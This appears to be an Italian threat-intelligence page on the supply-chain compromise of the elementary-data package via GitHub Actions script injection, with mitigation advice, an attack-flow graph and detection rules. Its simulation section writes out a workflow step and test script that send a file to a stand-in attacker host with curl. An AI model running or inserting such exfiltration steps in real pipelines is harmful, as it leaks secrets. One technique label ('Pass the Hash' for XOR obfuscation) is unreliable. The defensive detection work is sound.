Dati di Elementary compromessi su PyPI e GHCR tramite rilascio GitHub falsificato
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Una versione malevola del elementary-data pacchetto Python, versione 0.23.3, è stata caricata su PyPI, mentre un’immagine contenitore compromessa corrispondente è stata spinta anche su GitHub Container Registry. L’attaccante ha inserito codice malevolo in un flusso di lavoro Actions di GitHub, ha falsificato un rilascio firmato e poi ha abusato del token di workflow per pubblicare gli artefatti con backdoor. Il payload ha funzionato come un ladro di credenziali a tre fasi progettato per raccogliere segreti ed esfiltrarli verso un dominio controllato dall’attaccante. Qualsiasi ambiente che installasse il pacchetto interessato o tirasse l’ultima immagine contenitore era esposto a compromissioni.
Indagine
L’indagine ha scoperto che l’attacco è iniziato con un commento su una pull request aperta inserito direttamente in uno script di workflow, consentendo l’iniezione di script. Utilizzando il GITHUB_TOKENdel workflow, l’attaccante ha creato un commit di rilascio falsificato e ha attivato il processo di pubblicazione, che ha quindi distribuito la ruota trojanizzata e l’immagine Docker. L’analisi ha mostrato che un file .pth malevolo ha decodificato un wrapper Base64, decriptato il componente finale di raccolta e ha raccolto un ampio set di credenziali prima di inviarle a un dominio di comando e controllo personalizzato tramite curl.
Mitigazione
I manutentori del progetto hanno rimosso la versione malevola del pacchetto da PyPI e cancellato l’immagine compromessa da GHCR prima di pubblicare una sostituzione pulita, versione 0.23.4. StepSecurity ha aggiunto la versione malevola del pacchetto e il dominio controllato dall’attaccante alla lista nera di Harden-Runner e ha bloccato il pacchetto durante l’esecuzione della pull request. Gli sviluppatori dovrebbero fissare versioni esatte dei pacchetti e digest delle immagini, evitare di fare affidamento su tag variabili e controllare le dipendenze installate per .pth file inaspettati.
Risposta
I difensori dovrebbero cercare la presenza di elementary.pth all’interno di site-packages e identificare i sistemi che hanno tirato il digest dell’immagine Docker sospetta. Le connessioni in uscita al dominio di comando e controllo conosciuto dovrebbero essere bloccate immediatamente. I team di sicurezza dovrebbero scansionare le postazioni di lavoro degli sviluppatori e gli ambienti di costruzione per materiali segreti esposti, rimuovere eventuali pacchetti compromessi e ruotare le credenziali affette. Anche le pipeline CI/CD dovrebbero essere aggiornate per convalidare la provenienza del pacchetto e imporre delle immagini fissate rigorosamente.
graph TB %% Class Definitions Section classDef action fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Node definitions – Actions node_supply_chain[“<b>Azione</b> – <b>T1195.002 Compromissione della Catena di Fornitura</b><br/>L’attaccante pubblica la versione malevola 0.23.3 di elementary-data su PyPI e carica un’immagine Docker trojanizzata su GHCR utilizzando la pipeline di pubblicazione legittima del progetto.”] class node_supply_chain action node_exploit_cred[“<b>Azione</b> – <b>T1212 Sfruttamento per l’Accesso alle Credenziali</b><br/>Un’iniezione di script in un workflow GitHub Actions tramite un commento manipolato esegue uno stager curl | bash, sfruttando il GITHUB_TOKEN del repository per creare un commit di rilascio falsificato.”] class node_exploit_cred action node_implant_image[“<b>Azione</b> – <b>T1525 Impianto di Immagine Interna</b><br/>L’immagine Docker malevola (tag latest) viene scaricata ed eseguita, fornendo un ambiente persistente dannoso.”] class node_implant_image action node_user_exec[“<b>Azione</b> – <b>T1204.003 Esecuzione Utente: Immagine Malevola</b><br/>I container creati dall’immagine compromessa eseguono automaticamente il payload all’avvio.”] class node_user_exec action node_cred_files[“<b>Azione</b> – <b>T1552.001 Credenziali Non Sicure: Credenziali nei File</b><br/>Il payload raccoglie chiavi SSH private, credenziali cloud, configurazioni Docker e Kubernetes e altri file sensibili.”] class node_cred_files action node_private_keys[“<b>Azione</b> – <b>T1552.004 Credenziali Non Sicure: Chiavi Private</b><br/>Raccolta specifica di file di chiavi private da directory .ssh e wallet.”] class node_private_keys action node_archive[“<b>Azione</b> – <b>T1560 Archiviazione dei Dati Raccolti</b><br/>I dati raccolti vengono compressi in un archivio tar-gz.”] class node_archive action node_archive_lib[“<b>Azione</b> – <b>T1560.002 Archiviazione tramite Libreria</b><br/>Utilizza la libreria tar per creare trin.tar.gz.”] class node_archive_lib action node_obfusc[“<b>Azione</b> – <b>T1027.015 File o Informazioni Offuscate: Compressione</b><br/>Il file .pth malevolo è codificato in base64 e cifrato con XOR-MD5 per nascondere il codice.”] class node_obfusc action node_pass_hash[“<b>Azione</b> – <b>T1550.002 Uso di Materiale di Autenticazione Alternativo: Pass the Hash</b><br/>Il payload utilizza cifratura XOR con flusso MD5 per offuscare le proprie fasi.”] class node_pass_hash action node_exfil[“<b>Azione</b> – <b>T1048 Esfiltrazione tramite Protocollo Alternativo</b><br/>L’archivio viene esfiltrato tramite un singolo POST curl al dominio C2.”] class node_exfil action %% Tools tool_pypi[“<b>Strumento</b> – <b>Nome</b>: PyPI<br/><b>Tipo</b>: Repository di pacchetti Python”] class tool_pypi tool tool_ghcr[“<b>Strumento</b> – <b>Nome</b>: GitHub Container Registry (GHCR)<br/><b>Tipo</b>: Registro di immagini Docker”] class tool_ghcr tool tool_github_actions[“<b>Strumento</b> – <b>Nome</b>: GitHub Actions<br/><b>Tipo</b>: Motore CI/CD”] class tool_github_actions tool tool_curl[“<b>Strumento</b> – <b>Nome</b>: curl<br/><b>Tipo</b>: Utility da linea di comando per trasferimento dati”] class tool_curl tool tool_bash[“<b>Strumento</b> – <b>Nome</b>: bash<br/><b>Tipo</b>: Interprete di shell”] class tool_bash tool %% Malware malware_docker_image[“<b>Malware</b> – <b>Nome</b>: Immagine Docker Malevola<br/><b>Tag</b>: latest”] class malware_docker_image malware malware_payload[“<b>Malware</b> – <b>Nome</b>: File Payload .pth<br/><b>Offuscamento</b>: Base64 + XOR-MD5”] class malware_payload malware %% Connections (unchanged) node_supply_chain –>|publishes to| tool_pypi node_supply_chain –>|pushes image to| tool_ghcr tool_ghcr –>|hosts| malware_docker_image node_exploit_cred –>|injects script into| tool_github_actions tool_github_actions –>|executes| tool_curl tool_curl –>|pipes to| tool_bash tool_bash –>|runs| malware_payload malware_docker_image –>|run by| node_implant_image node_implant_image –>|triggers| node_user_exec node_user_exec –>|executes| malware_payload malware_payload –>|collects| node_cred_files node_cred_files –>|also collects| node_private_keys node_cred_files –>|passed to| node_archive node_archive –>|uses| node_archive_lib node_archive_lib –>|produces| node_obfusc node_obfusc –>|used by| node_pass_hash node_pass_hash –>|exfiltrates via| node_exfil node_exfil –>|uses| tool_curl
Flusso di Attacco
Rilevamenti
Possibile Infiltrazione / Esfiltrazione di Dati / C2 tramite Servizi / Strumenti di Terze Parti (tramite proxy)
Visualizza
Possibile Infiltrazione / Esfiltrazione di Dati / C2 tramite Servizi / Strumenti di Terze Parti (tramite DNS)
Visualizza
Upload / Download Remoto di File tramite Strumenti Standard (tramite riga di comando)
Visualizza
IOC (HashSha1) per rilevare: elementary-data Compromesso su PyPI e GHCR: Rilascio Falsificato Spinto via Script Injection in GitHub Actions
Visualizza
Rilevamento di Esfiltrazione Malevola di Dati tramite Iniezione di Script in GitHub Actions [Linux Process Creation]
Visualizza
Rilevamento del Pacchetto Malevolo elementary-data con Ladro di Credenziali [Evento File Linux]
Visualizza
## Esecuzione della Simulazione
Pre-requisito: Il Controllo Preliminare di Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione riflettono direttamente le TTP identificate e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrazione dell’Attacco & Comandi:
Un attaccante ha compromesso un repository che utilizza GitHub Actions per CI/CD. Aggiungono uno step malevolo al file del flusso di lavoro:- name: Esfiltrare dati run: | bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"Quando il flusso di lavoro viene eseguito sul runner di GitHub Actions, l’albero di processo appare così:
sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"(processo padre)curl --data-binary @/tmp/secret_data http://malicious.example.com/loot(processo figlio)
The
auditdil record per il passaggio 2 contiene una riga di comando con bash e, soddisfacendo la condizione Sigma.and, soddisfacendo la condizione Sigma., satisfying the Sigma condition. -
Script di Test Regressione:
#!/usr/bin/env bash # # Simula lo step malevolo delle GitHub Actions che dovrebbe attivare la regola di rilevamento. # Crea un file temporaneo, scrive dati fittizi, poi esfiltra tramite curl avvolto in bash. set -euo pipefail # 1. Crea dati segreti fittizi tmpfile=$(mktemp /tmp/secret_data.XXXXXX) echo "informazione_sensibile_$(date +%s)" > "$tmpfile" # 2. Esegui l'esfiltrazione usando il pattern vulnerabile bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot" # 3. Output di conferma per il tester echo "Esfiltrazione malevola simulata; il file temporaneo $tmpfile dovrebbe essere eliminato dalla pulizia." -
Comandi di Pulizia:
#!/usr/bin/env bash # Rimuovi eventuali file temporanei creati durante la simulazione rm -f /tmp/secret_data.* # Opzionalmente, ferma eventuali processi curl residui (non dovrebbe essere necessario) pkill -f "curl --data-binary" || true